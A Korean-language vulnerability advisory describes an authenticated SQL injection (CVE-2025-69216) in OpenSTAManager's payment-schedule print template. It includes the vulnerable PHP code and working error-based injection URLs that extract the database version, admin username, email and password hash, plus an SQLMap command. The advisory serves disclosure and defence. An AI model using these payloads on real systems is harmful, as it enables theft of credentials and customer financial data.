
CVE-2025-69216 - OpenSTAManager의 Scadenzario Print Template에서 SQL Injection 취약점이 발견되었습니다
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-69216 |
| 심각도 | HIGH |
| 보안 권고 | 보안 권고 보기 |
| 발견자 | Lukasz Rybak |
OpenSTAManager의 Scadenzario(결제 일정) 인쇄 템플릿에서 발견된 인증된 SQL 인젝션 취약점으로 인해, 모든 인증된 사용자가 관리자 자격 증명, 고객 정보, 재무 기록을 포함한 데이터베이스의 민감한 데이터를 추출할 수 있습니다. 이 취약점은 오류 기반 SQL 인젝션 기법을 통해 데이터베이스에 대한 완전한 읽기 액세스를 가능하게 합니다.
이 취약점은 templates/scadenzario/init.php의 46번째 줄에 존재하며, id_anagrafica 매개변수가 적절한 검증 없이 SQL 쿼리에 직접 연결됩니다:
취약한 코드:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
get() 함수는 검증 없이 GET/POST 매개변수에서 사용자 입력을 가져옵니다. 매개변수 값은 애플리케이션의 prepare() 검증 함수를 사용하는 대신 문자열 연결을 통해 SQL 쿼리 문자열에 직접 삽입되어 SQL 인젝션 공격을 가능하게 합니다.
근본 원인:
prepare() 함수 미사용영향을 받는 엔드포인트:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
영향을 받는 파일:
templates/scadenzario/init.php (46번째 줄) - 주요 취약점templates/scadenzario/init.php (34, 40번째 줄) - 날짜 매개변수와 관련된 유사한 패턴pdfgen.php - 템플릿 렌더링의 진입점1. 취약점 확인 - 기본 구문 오류 테스트:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
애플리케이션 응답에 SQL 구문 오류 표시됨
2. 데이터베이스 버전 추출 - 오류 기반 SQLi:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
결과: ~8.3.0~ (MySQL 버전)
3. 데이터베이스 이름 추출:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
결과: ~openstamanager~
4. 관리자 사용자 이름 추출:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
결과: ~admin~

5. 관리자 이메일 추출:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
결과: 관리자 이메일 주소
6. 비밀번호 해시 추출 (부분 - XPATH 31자 제한):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
결과: bcrypt 비밀번호 해시
7. SQLMap을 이용한 자동화 악용:
요청 파일 sqli_osm.req 생성:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
SQLMap 실행:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
SQLMap이 확인한 인젝션 유형:
영향을 받는 대상:
Łukasz Rybak이 보고함
이 CVE는 조정된 취약점 공개 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.